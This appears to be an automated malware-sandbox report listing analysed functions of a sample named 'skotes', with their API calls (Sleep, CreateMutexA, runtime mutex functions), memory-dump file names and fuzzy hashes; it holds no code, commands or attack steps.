Function 00B6A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4f2555bf6b084a06308eafd83516957762d27d1995522c81abe9458fab3e6bfc
Instruction ID: fe5a19799993fd8c12e201a77166ad07deaf2970989193e0047de6eecf6564aa
Opcode Fuzzy Hash: 4f2555bf6b084a06308eafd83516957762d27d1995522c81abe9458fab3e6bfc
Instruction Fuzzy Hash: 2E3128316002049BEF08DB78DDC9B6DB7F6EF85314F248298E015AB7D5CB7999808A52

Function 00B69ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f96e5a139700097b839b904aab506d182456eae5fc092bc5400be15cb95a7334
Instruction ID: b0136f84d6c3f481f1ee35ee6d45dc7fc596f9ae5dbc96654e4669714e11047e
Opcode Fuzzy Hash: f96e5a139700097b839b904aab506d182456eae5fc092bc5400be15cb95a7334
Instruction Fuzzy Hash: BC2149317042049BEF189B68DCC5B6CB7E6EFC5310F248299E518DB7E5CB7A99818A11

Function 00B6A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b022cb80bd2b96a4d8413fda8a1eaff677c0975161e56697a35a2fa75179aaba
Instruction ID: fb0941f401faeb350d1d83a5a081930c107bd113869672e1443d710311df90c2
Opcode Fuzzy Hash: b022cb80bd2b96a4d8413fda8a1eaff677c0975161e56697a35a2fa75179aaba
Instruction Fuzzy Hash: AE213D712542019BFF24A7688C96B7DB2D1EF81314F6448E6E108A72D1CEBE99818953

Function 00B6A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4ab8cbba74aec6cc101fd038578a128fe13c27df192ffca0a7ff95a50fe62bb4
Instruction ID: 8f1725b958f557873c30a0c02a14a0c8c95aa561f5c323c8122911302f7cdcad
Opcode Fuzzy Hash: 4ab8cbba74aec6cc101fd038578a128fe13c27df192ffca0a7ff95a50fe62bb4
Instruction Fuzzy Hash: 48214C317042049BEF18DB68DC8576CB7F5DFD5310F348299E418A77D4CB7AA5C08A56

Non-executed Functions

Function 00B62EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B62F5F
__Mtx_unlock.LIBCPMT ref: 00B62FCC
__Cnd_broadcast.LIBCPMT ref: 00B62FE3
__Mtx_unlock.LIBCPMT ref: 00B630F5
__Mtx_unlock.LIBCPMT ref: 00B6319B

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
